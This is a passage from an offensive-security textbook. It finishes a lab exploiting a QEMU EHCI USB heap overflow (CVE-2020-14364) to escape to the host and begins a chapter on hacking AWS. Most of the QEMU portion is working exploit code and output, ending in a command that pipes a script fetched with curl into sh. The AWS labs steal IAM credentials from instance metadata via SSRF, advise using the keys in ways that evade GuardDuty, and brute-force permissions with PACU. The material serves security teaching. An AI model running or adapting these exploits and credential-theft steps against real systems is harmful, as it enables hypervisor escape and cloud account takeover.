self.setup(self.request(0, 0, 0, 0, 0x100))
self.setup(self.request(0, 0, 0, 0, overflow_len))
data_buf_contents.append(
self.overflow_build(overflow_len, setup_len, offset),
offset=data_buf_len
)
self.usb_out(data_buf_contents)❶
PART V
self.usb_out(IOVector([Chunk(data)]))
def arbitrary_write(self, addr, data, data_buf_contents):

delta = self.addr_of(USBDevice.data_buf)
self.relative_write_2(addr - delta, data, data_buf_contents)
Now, the arbitrary write takes a new argument (data_buf_contents), which is an

IOVector passed to usb_out ❶ when triggering the buffer overflow. This way, we can
place extra data into s->data_buf.
It could be the case where we know beforehand multiple addresses we want to leak
from. Instead of creating a single USBDescString and calling the primitive once for each
address, we can take advantage of the index argument of usb_desc_string:
def descr_build(self, address_list, start_addr):❶
offset = start_addr - self.addr_of(USBDevice.data_buf)
next = start_addr
data = b''
for i, address in enumerate(address_list, 1):
next += USBDescString.sizeof()
data += USBDescString.build(
{'index': i, 'str': address, 'next': next}❷
)
558
if len(data) + offset > USBDevice.data_buf.sizeof():
ExploitError('address list too large')
return IOVector([Chunk(data, offset)])
def leak_multiple(self, address_list):❸

start_addr = self.addr_of(USBDevice.data_buf) + 256
self.arbitrary_write(❹
self.addr_of(USBDevice.strings),
start_addr.to_bytes(8, 'little'),
self.descr_build(address_list, start_addr)
)
data_list = (self.desc_string(i) for i in count(1)) ❺
return zip(address_list, data_list)
The auxiliary method descr_build ❶ takes a list of addresses and produces a linked
list of USBDescString elements, and each element ❷ has an index number assigned to a
particular address. The second argument (start_addr) is an address inside s->data_buf.
The new leak_multiple ❸ primitive builds this linked list and overwrites s->strings
❹ with the address of the list’s head. The linked list starts at &s->data_buf[256],
leaving the first 256 bytes of the buffer free for the contents returned by desc_string.
Finally, desc_string is repeatedly called for every index number ❺ associated to one
list’s addresses to leak.
NOTE desc_string is implemented in ehci.py and is used to send the

GET_DESCRIPTOR request with USB_DT_STRING and index arguments.
Module Base Leak

Leaking the base address of a module is straightforward if we have a function pointer. We
just scan down memory until we find the ELF header. Let’s add a leak_module_base
primitive (/labs/qemu_xpl.py):
def leak_module_base(self, fptr):
top_addr = fptr & ~0xfff
while True:
bottom_addr = top_addr - 0x1000 * 160
addr_list = list(range(top_addr, bottom_addr, -0x1000))
for addr, data in self.leak_multiple(addr_list):

print(f'[I] scan: {addr:016x}', end='\r')
if data.startswith(b'\x7fELF\x02\x01\x01'):
print(f'\n[+] ELF header found at {addr:#x}')
return addr
top_addr = addr_list[-1]
This implementation takes advantage of leak_multiple to leak the contents of

160 addresses per iteration.
559
RET2LIB
The easiest way to complete the exploitation process is by finding a function like “system.”
One option is to find a function pointer in QEMU’s binary, use leak_module_base, and
walk the ELF information to find “libc.so” and then repeat the process to find “system.”
Finding such function pointers is not hard at all; for example, we have some of them in
USBPortOps (/qemu/include/hw/usb.h). Let’s see what these pointers look like in GDB.
Lab 26-5: Finding Function Pointers with GDB
└─# python3 trigger.py &
[2] 558
└─# gdb -q
…
0x00007f019d703090 in _start () from target:/lib64/ld-linux-x86-64.so.2
(gdb) b do_token_out if s->setup_len > 0x1000
Breakpoint 1 at 0x56545d7c96b9: file /qemu/hw/usb/core.c, line 225.
(gdb) c
Continuing.
…
Thread 1 "qemu-system-x86" hit Breakpoint 1, do_token_out (s=0x5654602cffb0,
p=0x56545f56e630) at /qemu/hw/usb/core.c:225
225 assert(p->ep->nr == 0);
(gdb) print *s->port.ops
$1 = {attach = 0x56545d7e066d <ehci_attach>, detach = 0x56545d7e0778 <ehci_detach>,
PART V
child_detach = 0x56545d7e08b9 <ehci_child_detach>, wakeup = 0x56545d7e096a <ehci_
wakeup>, complete = 0x56545d7e1c45 <ehci_async_complete_packet>}
However, a more interesting option is the “free” function pointer present in the Object
header of USBDevice:
(gdb) print s->qdev.parent_obj
$2 = {class = 0x56545f3ef0b0, free = 0x7f019d3ebe20 <g_free>, properties =
0x565460243c00, ref = 2, parent = 0x56545f4e3c60}
TIP Don’t close the GDB session yet. We will keep using it later in this section.
The pointer corresponds to the glib’s function g_free. It is faster to find glib’s base
address from this function rather than scanning a massive binary like qemu-system-x86.
Some of the functions exported by glib provide system-like functionality; one is
g_spawn_command_line_async.
560
To avoid the boring task of ELF header parsing, let’s use pwntools.5 The module
requires us to supply a leak primitive, so we can just write one (qemu_xpl.py):
def leak_one(self, addr):
_, data = next(self.leak_multiple([addr]))
return data
Now we are ready to resolve g_spawn_command_line_async:

fptr = self.usb_dev.qdev.parent_obj.free
d = dynelf.DynELF(self.leak_one, self.leak_module_base(fptr))
ret2func = d.lookup('g_spawn_command_line_async')
All we need now is to find a pointer to a function where we can control the first
function argument. Let’s begin our search from the USBPort (/qemu/include/hw/usb.h)
structure:
/* USB port on which a device can be connected */
struct USBPort {
USBDevice *dev;
int speedmask;
int hubcount;
char path[16];
USBPortOps *ops;
void *opaque;
int index; /* internal port index, may be used with the opaque */
QTAILQ_ENTRY(USBPort) next;
};
When the EHCI controller is initialized, each port is registered by a call to the
usb_register_port function (defined at /qemu/hw/usb/bus.c). This function initializes a
USBPort object and inserts it at the tail of the linked list:
void usb_register_port(USBBus *bus, USBPort *port, void *opaque, int index,
USBPortOps *ops, int speedmask)
{
usb_fill_port(port, opaque, index, ops, speedmask);
QTAILQ_INSERT_TAIL(&bus->free, port, next);
bus->nfree++;
}
Controller ports are registered by usb_ehci_realize (defined at /qemu/hw/usb/

hcd-ehci.c):
void usb_ehci_realize(EHCIState *s, DeviceState *dev, Error **errp)
{
for (i = 0; i < s->portnr; i++) {
usb_register_port(&s->bus, &s->ports[i], s, i, &ehci_port_ops,
USB_SPEED_MASK_HIGH);
We can see that, in this case, port->opaque corresponds to the EHCI controller’s
state (EHCIState). One of the first fields we can find in this structure is a pointer to the
IRQState (/qemu/hw/core/irq.c). Let’s dump its contents from our previously opened
GDB session.
561
Lab 26-6: Displaying IRQState with GDB
(gdb) print *((EHCIState*)s->port->opaque)->irq

$3 = {parent_obj = {class = 0x56545f38af40, free = 0x7f019d3ebe20 <g_free>,
properties = 0x565460272f00, ref = 1, parent = 0x0},
handler = 0x56545d769bda <pci_irq_handler>,
opaque = 0x565460249cd0, n = 3}
Here, irq->handler points to the generic PCI handler (pci_irq_handler at /qemu/

hw/pci/pci.c), and the other two fields, irq->opaque and irq->n, are passed to it:
static void pci_irq_handler(void *opaque, int irq_num, int level)
The IRQ handler will be eventually triggered by ehci_raise_irq, so the only thing we
need to do is to replace irq->handler with the address of g_spawn_command_line_async
and irq->opaque with a string containing an arbitrary command line. Let’s add this as
the final step of our exploit code in qemu_xpl.py:
port = USBPort.parse(❶
self.arbitrary_read_near(
self.usb_dev.port, USBPort.sizeof()
))
ehci_state = EHCIState.parse(❷
port.opaque, EHCIState.sizeof()
))
irq_state = IRQState.parse(❸
ehci_state.irq, IRQState.sizeof()
PART V
))
cmd = b'sh -c "curl -sf http://localhost:8000/pwn | sh"\0'
print(f'[+] Executing: {cmd[:-1].decode()}')
self.arbitrary_write(
ehci_state.irq,
IRQState.build({
'parent_obj': irq_state.parent_obj,
'handler': ret2func,❹
'opaque': self.addr_of(USBDevice.data_buf),❺
'n': 0
}),
IOVector([Chunk(cmd)])❻
)
The code begins by leaking s->port ❶, port->opaque ❷ (EHCIState), and

ehci_state->irq ❸. A call to arbitrary_write replaces the current IRQState object with
a new one, with irq->handler pointing to g_spawn_command_line_async ❹, and
irq->opaque pointing to s->data_buf ❺. The command line is passed in the third argu-
ment of arbitrary_write ❻, getting written into s->data_buf.
562
Lab 26-7: Launching the Exploit
Let’s test the exploit by setting up a web server serving a “pwn” file that merely creates a
“/tmp/pwned” file:
└─# echo "touch /tmp/pwned" > pwn
└─# python3 -m http.server 8000 > /dev/null &
[1] 9
└─# python3 qemu_xpl.py nodebug
PRINT: kmain at 0x0000000000401363
[+] ELF header found at 0x7f2dc13e2000

[!] No ELF provided. Leaking is much faster if you have a copy of the ELF
being leaked.
[-] Resolving b'g_spawn_command_line_async': Could not find tag DT_DEBUG
[*] No linkmap found
[*] Trying remote lookup
[*] .gnu.hash/.hash, .strtab and .symtab offsets
[*] Found DT_GNU_HASH at 0x7f2dc150e700
[*] Found DT_STRTAB at 0x7f2dc150e710
[*] Found DT_SYMTAB at 0x7f2dc150e720
[*] .gnu.hash parms
[*] hash chain index
[*] hash chain
[+] 0x7f2dc1483a30
[+] Executing: sh -c "curl -sf http://localhost:8000/pwn | sh"
[I] Press enter to exit
127.0.0.1 - - [25/Jul/2021 01:44:50] "GET /pwn HTTP/1.1" 200 -
└─# ls /tmp/
pwned
Porting this exploit to a general-purpose guest OS (like Linux) is left as an exercise for
the reader.
Summary
This chapter introduced you to practical hypervisor exploitation in one of its simplest
forms: a user-mode component vulnerability. The exploit development process was cov-
ered from the beginning, starting at the root-cause analysis of the vulnerability. This was
followed by the development of a trigger and a series of primitives. New primitives were
built on top of the previous ones, giving you increasing control over the target. The final
result was a fully working exploit that can execute arbitrary user-mode code in the host.
563
For Further Reading
“USB 2.0 Specification” www.usb.org/document-library/usb-20-specification
“Enhanced Host Controller Interface for Universal Serial Bus” www.intel.com/
content/dam/www/public/us/en/documents/technical-specifications/ehci-specification-
for-usb.pdf
References
1. “CVE-2020-14364,” https://access.redhat.com/security/cve/cve-2020-14364.
2. “GitHub REST API,” https://docs.github.com/en/rest.
3. “jq,” https://stedolan.github.io/jq/.
4. “gdbserver(1)—Linux manual page,” https://man7.org/linux/man-pages/man1/
gdbserver.1.html.
5. “Pwntools,” https://docs.pwntools.com/en/stable/.
PART V
PART VI
Hacking the Cloud
Chapter 27 Hacking in Amazon Web Services

Chapter 28 Hacking in Azure
Chapter 29 Hacking Containers
Chapter 30 Hacking on Kubernetes
Hacking in Amazon
Web Services
CHAPTER
27
• Describing AWS, its architecture, and some best practices
• Abusing AWS authentication types
• Leveraging attacker tools to enumerate and look for backdoors
• Building ongoing persistence on EC2 Compute through backdooring AWS
Amazon Web Services (AWS) was created in 2006 as a side business to the main Amazon
business. It was created to fulfill an internal need from the Amazon website to provide
scale to its web properties.1 Since that time, AWS has dominated the market, although
that market share is slowly decreasing. Chances are, you are interacting with AWS with-
out realizing it for many of the day-to-day tasks you perform.
This chapter will explore how AWS operates and how we can abuse the mechanisms
within AWS to gain access to systems or services. Consider AWS as a kind of “super”
operating system. It comprises many of the same principles as your single-computer
operating system but across a larger scale. Like any type of operating environment, it
must organize resources and execute them in a controlled way.
Amazon Web Services

AWS is a collection of services exposed through a unified API. Many of the services
that Amazon provides are like those found in a traditional data center, such as compute,
networking, and storage. However, AWS has several properties that make it unique or
different from a conventional data center environment. The first significant property is
that the environment is entirely public and fully self-service. This means anyone who has
an e-mail address and credit card can acquire services in the same environment as you.
The industry term for this is multitenant environment, but it is more than just multiten-
ant. AWS has to do more than just partition customers away from each other through the
multitenant approach; it needs to provide each customer with a way of managing their
resources and constraints. With this in mind, let’s talk about some of the more interesting
properties of a few of the AWS core services.
567
568
Services, Locations, and Infrastructure
At the time of writing, AWS has well over 80 services in its portfolio. These services are
primarily available across all its data centers, which number over 20 globally, with more
expected in the future. AWS offers many services across the vast computing landscape.
Some services are considered traditional in information technology, such as compute
and networking, while others are traditional software delivered in an “as a service” offer-
ing. The concept behind the more traditional services, as they were the first ones Ama-
zon went to market with, is that these are the services most environments would need.
Consider the Elastic Compute Cloud (EC2), which is on the surface Amazon’s virtual
machine computing system. EC2, however, underpins many of the additional services
Amazon has in its ecosystem.
The EC2 system allows Amazon to deliver services such as the following:
• AWS Lambda, a serverless function environment

• AWS RDS, the AWS relational database service
• AWS networking functions such as load balancers
• AWS container services, including the Elastic Kubernetes Service
Amazon’s concept is to go beyond just basic compute services; it strives to get users
more and more into its ecosystem. It does so by having users build their software to rely
on AWS services. In this case, when we speak of services, we are referring to AWS’s shared
services infrastructure. Let’s take a simple example—a traditional customer environment.
A customer could have a server to provide a database, but they don’t have to stand up
an entire server for a database; instead, they can use Amazon RDS. A shared relational
database infrastructure provides the same database technology as a service. Instead of a
web server, the customer could build a collection of serverless functions such as AWS
Lambda, which allows the customer not to maintain a server operating system. However,
this model or collection of services does have a threat model. For example, how do we
perform security functions such as detection, logging, and the like when we do not have
a server operating system? How do we authenticate a user and know that they are the
correct user? How do we differentiate accounts and users in AWS?
How Authorization Works in AWS

The first concept to understand in AWS is the different mechanisms available for access
into the system. The AWS Web Console has a mechanism to allow administrators to
log in.2 The default administrator of the system is known as the root account. The root
account is not affected by any of the permission constraints in this chapter. If you find
yourself in possession of a root account login, you are free to perform any action in the
account, including deleting the account. The other type of authentication option is to
log in programmatically. Programmatic access is how an administrator can use an AWS
command line interface (CLI) tool to perform actions on the system. A user, a service,
and a computer can have a set of programmatic access keys.3 Users can have two pro-
grammatic access keys.
Chapter 27: Hacking in Amazon Web Services
569
NOTE Programmatic access keys have a standard format to help you better
identify their original purpose. The documentation lists this as a “unique
identifier,” which makes it harder to locate in the documentation. There is a
link to the “Reference Identifiers” section in the “For Further Reading” section
at the end of this chapter that we encourage you to read.
AWS has a service known as the Identity and Access Management (IAM) service,
which debuted in 2011.4 AWS IAM is the core of the authorization and permissions
model in AWS. IAM, by default, is set to deny all permissions. An administrator must
open access discretely to each service, and each service has a gradient level of permissions.
This applies to users and services, such that if a computer wants to talk to an S3 bucket,
it needs to have access to that S3 bucket (see Figure 27-1).
All IAM permissions are exposed as a JSON document:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect❶": "Allow",
"Action❷": [
"s3:GetObject",
"s3:ListObject",
"s3:PutObject"
],
"Resource❸": [
"arn:aws:s3:::ghh-random-bucket/*",
"arn:aws:s3:::ghh-random-bucket"
]
}
]
}
I wish to “ListFiles” on a
different account’s
PART VI
S3://Bucket1
I wish to
Random AWS User “ListFiles” on
X S3://Bucket1
Denied
Check Amazon EC2
Permission for EC2
Random User Check
Permission for
EC2 Allowed
I wish to AWS Check Allowed
“ListFiles” on Permission for Bucket1
User s3://Bucket1 AWS User1
API
Figure 27-1 IAM authorization flow visualized

570
The complexity of the system, which is our advantage, is in its granularity and subtlety.
There are three items here to key on: Effect ❶, Action ❷, and Resource ❸. The Effect
is set to Allow or Deny. The Action is what you want to do, typically defined as service
followed by API call. In the previous example we are allowing S3 service and specific read
actions such as GetObject. As you’ll notice in our Resource item, we have a few items in
a specific format. The format is called ARN, or Amazon Resource Name.5 ARN is how
the system uniquely identifies every asset in the environment. You may have seen a server
named “Domain Controller” or a user named “Mike.” But how does Amazon know the
difference between a user in my account and a user in your account? ARN is the actual
identifier that Amazon uses as a reference.
Abusing AWS Best Practices

AWS has several developed “best practices” for operations and security when using their
cloud platform. This guidance has been changed over the years to best conform with a
more secure design. However, the changes are not retroactive, so that customers who
have not kept up with the design guidance will need to modify their operations. AWS
itself has to contend with its original infrastructure design that predates today’s com-
monly understood best practices for security and operations. AWS is one of the first, if
not the first, cloud provider that has a backward compatibility challenge. Many of its
customers have operationalized what today wouldn’t be considered the best practices for
connectivity and management of cloud components. If we understand how the AWS
environments operate and how they have instructed their end users in building and oper-
ating their systems, we can understand how to break into them with more ease.
Admin Bastion Host Design

In this design, an organization has decided that user administrators each having their
own set of programmatic access keys is not fault-tolerant enough and is a security risk.
Therefore, the organization will create an IAM role with administrator-level access. This
IAM role is applied to a compute instance (that is, an EC2 instance). The EC2 Instance
is known as a Bastion Host that can be used not only as a VPN of sorts but also to admin-
ister the AWS Cloud. When an administrator logs in, they can use the computer’s per-
missions in the cloud to gain administrator access. The machine is controlled via SSH,
and the SSH key is only given to administrators. The machine is also turned off, such
that it is not available to us. Our goal would be to find a way into the machine and abuse
this permission set. All we need is a shell on the machine to be an admin of the cloud.
Amazon modified it’s best practice guidance by introducing a Systems Manager product,
which is known as Amazon SSM. It allows for a different out-of-band manager and with
this product it has superseded the best practice of using a Bastion Host.
Easily Misunderstood Permissions in Filestorage

AWS has a File Storage option known as Block Storage using it’s S3 product line. The
S3 buckets in AWS are often used to store all manner of different items including sensi-
tive private items such as logs for various AWS services. S3 was one of the earliest services
in AWS, and it allowed for the storage of files in the cloud in a highly available way.
571
As with all other services, you need the appropriate permissions if you wish to access an
S3 bucket. The permissions are easily confused, such that buckets are often easily left
exposed to the Internet. This is due to the fact that permissions in S3 using its default
labels can be confused between Public, Authorized, and Authorized by Account. The
other limitation is that there is no mechanism to enforce encryption of the data written
to the bucket. There are many scenarios in which buckets containing sensitive data are
allowed to be read. Consider the amount of data in a Load Balancer log: could there be
Session ID values, hidden URLs, or plaintext data? How many developers mask their
data when it’s written to a log? How long are these logs kept for? All of these answers
could show how looking for logs reveals a treasure trove.
AWS has published a set of Best Practices around S3 Buckets that can even be more
easily confusing as several of its own guidance has been modified over the years.
Lab 27-1: Environment Setup
Our environment can be set up using the build script located inside the GitHub GHH6
Repository in the ch27 folder. You should be referencing the README file that is in the
ch27 directory to set up the environment. One of the steps in the process is to run the
build.sh ❶ script, which will eventually output the target information you will be using
in this chapter.
NOTE The labs in this chapter are designed to operate using Kali in
the cloud. The reasoning for this is that you will be reconfiguring the
AWS environment for this lab. You will also be using tools you will not
find in the standard Kali distributions.
┌──(kali kali)-[~/GHHv6/ch27/Lab]
└─$ ./build.sh❶
<--OMITTED FOR BREVITY---->
Abusing Authentication Controls
PART VI
The mechanism used for authorization in AWS is tied to the IAM system. Within the
IAM system, various permissions can grant the ability to change a user’s own permission
set. Various permission issues have been cataloged over the years by different research
groups.6 Many of these groups have found numerous ways to enumerate or attempt to
execute permissions. Our job is to obtain access to one of these discreet permissions; to
do so, we must have a way to log in to the system and masquerade as the user in question.
IAM has several ways of authenticating and authorizing a user. One method is your
standard console application login, typically done through a username and password,
but there are alternative login mechanisms. SAML is supported for federation. Notably
absent in the setup document is OAuth2, or OIDC, although services in AWS such as
Elastic Kubernetes Service support OIDC to federate AWS users into Kubernetes. IAM
users can also have API keys attached to them. These keys are foundational for us to
attack with, as you will see how to abuse them in an upcoming lab.
572
Types of Keys and Key Material
API keys in AWS provide a user, developer, or service with programmatic access to the
system. This programmatic access can allow for complete control of the system through
the CLI. Programmatic keys follow a specific format, and typically you will find in use
two types of key that we can leverage, as detailed in the following table.
Access Key Prefix Resource Type Where the Key Is Typically Found
AKIA Access key These keys are created and attached to users.
ASIA Temporary AWS These keys are found when querying the Instance
STS access key Metadata Service. This requires an additional
component called the session token.
Although there are more types of keys you can get access to, we will just discuss the
two where the Key ID starts with AKIA or ASIA. You will need the secret to these keys,
and in certain situations, you will need a session token.
Access keys (AKIA) are especially dangerous; unlike the temporary AWS STS key, it
does not expire unless someone revokes and rotates it manually. Let’s keep this in mind
as we start looking through our environment.
Lab 27-2: Finding AWS Keys
Once our environment is built, we are given an IP address to an AWS host; this happens
as an output of the script that is run. You can either use the Kali Linux you have or the
Kali hosted in the cloud. Some of the examples in this lab are designed to work with an
internal IP space that will only be available via the hosted version of Kali. In this lab,
we will be using an IP address that may be different than the one you will have in your
labs. We are going to show you how AWS keys can be easily seen through the Identity
Metadata Service.
TIP Finding AWS account IDs and AWS keys can be somewhat of an art
form. The account IDs are not supposed to be public, and, indeed, the
AWS keys are supposed to be secret. However, we have evidence and
knowledge of both items being stored in insecure areas, such as source
code management systems like GitHub, source code in JavaScript sent
to the browser, and hard-coded into mobile applications. We have even
found them crawling the Web and discovered search results in places that
developers use to work, such as Trello. Given how widespread of a problem
this is, there is an army of bots, both for good and evil, that constantly
monitors the Internet looking for these keys.
Using cURL we will now query the Identity Metadata Service in AWS.
└─$ curl http://3.234.217.218:8080/?url❶=http://169.254.169.254/latest
<h1>This app has an SSRF
573
</h1><h2>Requested URL: http://169.254.169.254/latest/
</h2><br><br>
<pre>dynamic
meta-data❷
user-data❸</pre>
In this scenario, the address that is shown, 3.234.217.218, is the address of the server
available over the Internet. The machine is a victim we are targeting. The application in
question has a server-side request forgery (SSRF) vulnerability ❶. SSRFs allow for the
execution of an application to pull web traffic from any other location the server can get
to, including internal applications.
NOTE SSRFs like this can be easily found as 169.254.169.254, which is a well-
known string. You may attempt to do additional work to obscure the results
of the system, such as converting 169.254.169.254 into another format, such
as octal, decimal, and even IPv6 to IPv4 notation. We will use a few of these
throughout the lab.
As the attacker, we control the execution of the URL, as you can see in the code, direct-
ing it toward the internal API responsible for managing the device. The 169.254.169.254
address is similar to 127.0.0.1 (loopback) in nature. The 169.254 space is a nonroutable
but locally significant address. The 169.254.169.254 address you see here is the address
of the AWS instance metadata. This is a very well defined and known service that AWS,
and almost all cloud providers, support. The instance metadata can give us information
about the system we are on. The result of this query shows us two specific directories that
we would like to explore. It shows two directories called meta-data ❷ and user-data ❸.
We are going to explore each one of these. First, we should validate what type of host or
service we are trying to work with. Is this a load balancer? Is it a Lambda instance? One
way we can tell is through a reverse DNS lookup. This device may be an EC2 instance;
we can tell this by using a reverse DNS lookup to validate this result, as shown here:
└─$ nslookup 3.234.217.218
218.217.234.3.in-addr.arpa name = ec2-3-234-217-218.compute-1.amazonaws.com.
PART VI
The PTR record here has a particular format: ec2-3-234-217-218. This indicates that
the service is EC2 and has an IP of 3.234.217.128. Also, compute-1 is the identifier for
the us-east-1 data center. We now know we are on EC2. Let’s explore the first part of this
instance metadata service:
└─$ curl http://3.234.217.218:8080/?url=http://169.254.169.254/latest/meta-
data/iam/security-credentials
</h1><h2>Requested URL: http://169.254.169.254/latest/meta-data/iam/security-
credentials
</h2><br><br>
<pre>ghh-ec2-role-izd4wrqo❹</pre>
The URL we are using speaks directly to the part of the metadata service related
to IAM information. This EC2 instance does have an IAM role attached to it ❹.
574
The service itself will only return the data of the system that calls it. Each server will
have a different returning set of values because the values are locally significant. We
need to query this service URL before we can query the next part of this service to add
our role:
└─$ curl http://3.234.217.218:8080/?url=http://169.254.169.254/latest/meta-
data/iam/security-credentials/ghh-ec2-role-izd4wrqo
<pre>{
"Code" : "Success",
"LastUpdated" : "2021-04-08T00:35:02Z",
"Type" : "AWS-HMAC",
"AccessKeyId❺": "ASIASPLYZV6F7IKNQB5K",
"SecretAccessKey"❻ : "5W/rG8bit7WgVBttELNJLqclP8UvwXYeSjGlziwX",
"Token"❼ :
"IQoJb3JpZ2luX2VjEMn//////////
wEaCXVzLWVhc3QtMSJHMEUCIQD9Ymeob4HY5e9jpg72IPanBnsd
CklqtA/bh2juMY+VNc/
Hw9zQWKLYDCfGWsKYFahNjVNeR7hIzN5rszQPP23G867gDKg05lOIb0TrWhMxH
WwUnV9Q0NZSYa0/JsAfU0SgbDdGZGVUgOjUc/O4kd80nwOiQK463Jh8TAw3faKy95Om7ECVw==",
"Expiration" : "2021-04-08T06:43:05Z"
}</pre>
We now have an API key provided to us; the key has three parts:
• AccessKeyId ❺ The Access Key that is displayed here has a prefix that starts with
ASIA; it is an AWS temporary key with a 6-hour expiration.
• SecretAccessKey ❻ This is the secret access key that we typically need with any
API keys from Amazon.
• Token ❼ This is the session token value—an extra bit of authentication material
for our use.
NOTE In this example, we use Identity Metadata Service (IMDS) v1; in a

default EC2 Launch Template, both IMDSv1 and IMDSv2 are deployed.
IMDSv2 protects customers against this attack vector by requiring an extra
HTTP call to get a token. The additional HTTP call is a PUT method request
followed by the same GET. Using a PUT method for the initial token request
would break the SSRF attack vector as the request would need to be using
GET requests.
There are two critical items to note here that you really want to consider changing in
the wild. First, sending this type of request or receiving this result could trigger a web
application firewall (WAF). Second, and perhaps more critical, using this key outside of
AWS will trigger a service like AWS GuardDuty. One of its standard rules is that Guard-
Duty looks for EC2 IAM keys being used outside of the AWS cloud.7 We would want to
use these keys within the AWS cloud, and, fortunately, we can launch our own machines
to do this.
575
We need to edit two files on our machine: .aws/credentials and .aws/config. These files
are in the root of your home folder; for Kali users it will be /home/kali/.aws/credentials
and /home/kali/.aws/config.
Edit your AWS credentials file, which is in the /home/kali/.aws directory, so that it
can more properly reflect the values located in the following block of code. The creden-
tials file needs to contain this code block; make sure you pay attention to the names of
the values and what you are copying and pasting. Specifically, you will need to add an
aws_session_token section, which you will not see in any existing file. The instructions
for what to copy are given next.
[default]
aws_access_key_id = ASIASPLYZV6F7IKNQB5K
aws_secret_access_key = 5W/rG8bit7WgVBttELNJLqclP8UvwXYeSjGlziwX
aws_session_token = IQoJb3JpZ2luX2VjEMn//////////wEaCXVzLWVhc3QtMSJHMEUCIQD9Y
meob4HY5e9jpg72IPanBnsdCX
bg5Jmrr+QIgNCP4ygfZo2yhxgjNPM831qs8oCeegrDpLKFN362yHS8qtAMIUhABGgwxNzA0NDE0MjA2OD
The aws_access_key_id is going to be the value from our closure on top called
AccessKeyId. The aws_secret_access_key will be copied from the SecretAccessKey.
The aws_session_token will come from the Token value. The /home/kali/.aws/config
file will also need to be modified to include a [profile default] section. It will be impor-
tant to note that region should be set. Any additional items such as output are not criti-
cal. Omitting output will cause the output to be printed in JSON format.
[profile default]
region = us-east-1
Once you have correctly configured the AWS config file, we can then proceed to query
the AWS API to find the account information for our AWS API Key:
└─$ aws sts get-caller-identity
{
"UserId": "AROASPLYZV6FVCWH54KWE:i-06bf43069f0401e34",
"Account": "170441420683",
"Arn": "arn:aws:sts::170441420683:assumed-role/ghh-ec2-role-izd4wrqo/i-
PART VI
06bf43069f0401e34"
}
If the code blocks have been placed correctly, we should now get a query back that
shows that we are running in an assumed role, and we are assuming the role of our EC2
instance. This is equivalent to being able to talk to an Active Directory domain as if we
are trying to use the credentials of the machine account. But what can we do with these
keys? We will need to explore this further.
Attacker Tools
AWS attacker tools can help automate many of the actions we want to attempt to per-
form, and not every tool is built in to a framework that we are used to using. We can,
however, use scripts and tools to perform complex queries and attacks. Let’s look at a few
576
of these tools to understand how to best use them and how they work. This may help
you design your own attack tools and fill the void that you will find with attack focused
tools for AWS.
Boto Library
The AWS attacker tools that exist are primarily written in Python and built off the
Python Boto library. The library itself comes from AWS and is the heart of the AWS
CLI. You can identify this quickly, as most of the libraries are written with the Boto
library imported.
Most of these tools perform the following actions for specific API calls:
• Provide the tool with an API key or, alternatively, for specific anonymous modules,
use a wordlist.
• Attempt to enumerate permissions for a specific service, if you have IAM permissions
to enumerate the API.
• Attempt to call the API directly, first using a DryRun call to the API, and then
perform the action. If you are successful, you’ll have access.
PACU Framework
The PACU Framework8 from Rhino Security Labs is one of the best replacements for
older tools such as WeirdAAL.9 WeirdAAL was one of the first toolsets that could be lever-
aged to attack Amazon Web Services. It stood for Weird Amazon Attack Library. PACU
has a collection of modules that wrap around the library to form a set of API calls that
can be used for offensive purposes. The framework features several module classes that
can help an attacker discover and abuse the AWS ecosystem. Here are a few notable ones:
• Modules to enumerate IAM permissions

• Modules to perform privilege escalation using EC2 and Lambda
• Modules to evade detection by disabling protections against systems like GuardDuty
• The capability to implant a backdoor
PACU, however, is not 100 percent complete and does not have everything you may
want built in. However, it allows a user to call the AWS CLI from within the tool to try
and provide additional flexibility. One caveat is that the CLI will not log output and store
it the same way the modules do.
RedBoto
RedBoto10 is another collection of tools, mostly one-off scripts that wrap the Boto library
like the other tools, but it’s not a framework. It does, however, feature some notable
scripts that are worthy of mention, as they can help offensively in operations:
• A script for enumerating which places have CloudTrail enabled. This is useful for
evading tools like GuardDuty and other monitoring and security systems.
577
• A script for checking what type of user data is available on a system. This can be
helpful because the command is rather difficult for novice users.
• A script for running commands through the Amazon SSM system, which is a
manager for commonly used systems.
Lab 27-3: Enumerating Permissions
One of the biggest challenges you will find with many of AWS’s tools is the completeness
of coverage. Most tools have limitations on what they can do without us making changes,
and keeping up with the high rate of changes can be a problem. Let’s see where our tools
have some limitations and advantages:
┌──(kali kali)-[/opt/pacu] ❶
└─$ ./cli.py❷

No database found at /home/kali/.local/share/pacu/sqlite.db
Database created at /home/kali/.local/share/pacu/sqlite.db
What would you like to name this new session? ghh❸
Session ghh created.
Pacu (ghh:No Keys Set) > import_keys –all❹
Imported keys as "imported-default"
Pacu (ghh:imported-default) > run iam__bruteforce_permissions❺
Running module iam__bruteforce_permissions...
[iam__bruteforce_permissions] Trying describe_account_attributes -- kwargs:
{'DryRun': True}
[iam__bruteforce_permissions] Allowed Permissions:
ec2:
describe_account_attributes
Pacu (ghh:imported-default) > whoami❻
{
"UserName": null,
"RoleName": null,
"Permissions": {
PART VI
"Allow": [],
"Deny": [
"ec2:DescribeDestinations",
Pacu (ghh:imported-default) > set_regions us-east-1
Session regions changed: ['us-east-1']
Pacu (ghh:imported-default) > run ec2__enum❼
Running module ec2__enum...
[ec2__enum] Starting region us-east-1...
[ec2__enum] 5 instance(s) found.
Pacu (ghh:imported-default) >
578
Would you like to make several hundred API calls to attempt to validate which
describe (or read) permissions you have on EC2 and Lambda? Probably not. How
can we do this in a more automated way? We simply use PACU and find out all the
permissions—or can we?
To execute the PACU tool from within the /opt/pacu ❶ directory on your Kali Linux
machine, you need to run the Python file cli.py ❷. PACU organizes campaigns by session
name; we called our current session “ghh” ❸. PACU can use keys that are already located
within the general operating system. To do this, we will use the import_keys –all ❹
command to import all the profiles and keys stored in our credentials file. Once we have
these items loaded, we can start using modules.
One of the modules we can use is a module to call the IAM service and brute-force
permissions. We do this by using the run iam__bruteforce_permissions ❺ command.
One would assume that this is a 100 percent feature-complete way to find all the permis-
sions on the system, as it’s described. It is not. As you will later see, this command will
attempt to call the AWS API, but only for specific services like EC2 and Lambda, and
only for very narrow API calls—primarily those that are useful in describing services
(read-based commands). We can see what we have found for our API key by calling
whoami ❻. The command will output some allowed and denied permissions, but it is
not 100 percent complete. Another way to reach the same type of result is to attempt to
use each API call. Next, we will be enumerating ec2_hosts ❼ as an example of validat-
ing our known permissions. You will see that we can enumerate much of the EC2 data.
PACU is attempting to build a fully functional, batteries-included module for
exploiting AWS, but it does have its shortcomings. It doesn’t always feature every mod-
ule you may want. It also does not support every service in AWS. You often have to rely
on other tools, scripts, or just the plain AWS CLI to perform many of the attacks you
